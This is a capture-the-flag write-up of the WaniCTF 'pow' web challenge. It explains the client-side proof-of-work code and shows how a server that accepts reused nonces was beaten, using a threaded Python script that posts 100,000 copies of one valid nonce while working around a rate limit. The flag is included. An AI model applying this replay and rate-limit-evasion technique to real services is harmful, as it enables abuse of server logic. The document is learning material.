web

pow

credits to my sifu @vicevirus

difficulty - easy
points - 143
solves - 243

analysis

first of all when you visit the website there is a client-side scripting consist of 3 function, hash, send and main.

hash function

1
2
3
4
5
6
7
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}

this function takes an input, and hashes it 10 times. the function returns true only if the first 24 bits of the first word of the resulting hash are all zeros using this condition (result.words[0] & 0xFFFFFF00) === 0.

main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) { <--------------------------------
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();

it basically iterates the value of i, updates it to the client-status element “Checking {i}…”

increments it 1000 times, and every increment will be passed into hash function, if the hash value meets the condition (result.words[0] & 0xFFFFFF00) === 0. it sends the value to the server using send function.

send function

1
2
3
4
5
6
7
8
9
10
11
12
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}

since i’m not a fan of crypto myself and have 0 clue what value meets the (result.words[0] & 0xFFFFFF00) === 0 condition, i just wait for it to increment the progress from 0 to 1 and take a look at its values using burp suite.

as you can see the value of ["2862152"] increase the progress by 1.

exploit

now that we managed to get a value that will increase the progress i’ve tried to send the same post request to the server again using the same payload.

voila the progress increases, therefore the only steps to do here is just make a script that will send the post request with the same value over and over again using curl 1000000 times that would solve the challenge no? nope. i was wrong there is a rate limit when you try to send the 19th request, it gets blocked.

so, i’ve contacted @vicevirus and he found an exploit where you can multiply the progress value by sending more than one valid data in an array, like this

'["2862152", "29671041"]' <– increases the progress 2 times per post request

but still, finding other valid values that fullfill the condition takes quite a long time, therefore this approach is not feasible

then he found out that you can just use the same values in the array, it doesn’t need to be unique, like this

'["2862152", "2862152", "2862152", "2862152", "2862152"]' <– still valid increases the progress 5 times per post request

payload

lastly just multiply it 100000 times and create a script that will send it repeatedly

1
2
payload_list = ["29671041"] * 100000 # increases progress by 100000 times per post request
payload = str(payload_list).replace("'", '"')
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import time
import requests
import threading

url = "https://web-pow-lz56g6.wanictf.org/api/pow"
headers = {
"Cookie": "pow_session={your cookie}", # insert your cookie
"Content-Length": "14",
"Content-Type": "application/json",
}

payload_list = ["29671041"] * 100000 # increases progress by 100000 times per post request
payload = str(payload_list).replace("'", '"')

def send_request():
response = requests.post(url, headers=headers, data=payload)
if response.status_code == 429: # Rate limit status code
retry_after = int(response.headers.get("Retry-After", 1))
print(f"Rate limited. Retrying after {retry_after} seconds.")
time.sleep(retry_after)
else:
print(response.text)

def main():
for _ in range(100):
threads = []
# Create 18 threads
for _ in range(18):
thread = threading.Thread(target=send_request)
threads.append(thread)
thread.start()

for thread in threads:
thread.join()

time.sleep(10)

if __name__ == "__main__":
main()

flag

FLAG{N0nCE_reusE_i$_FUn}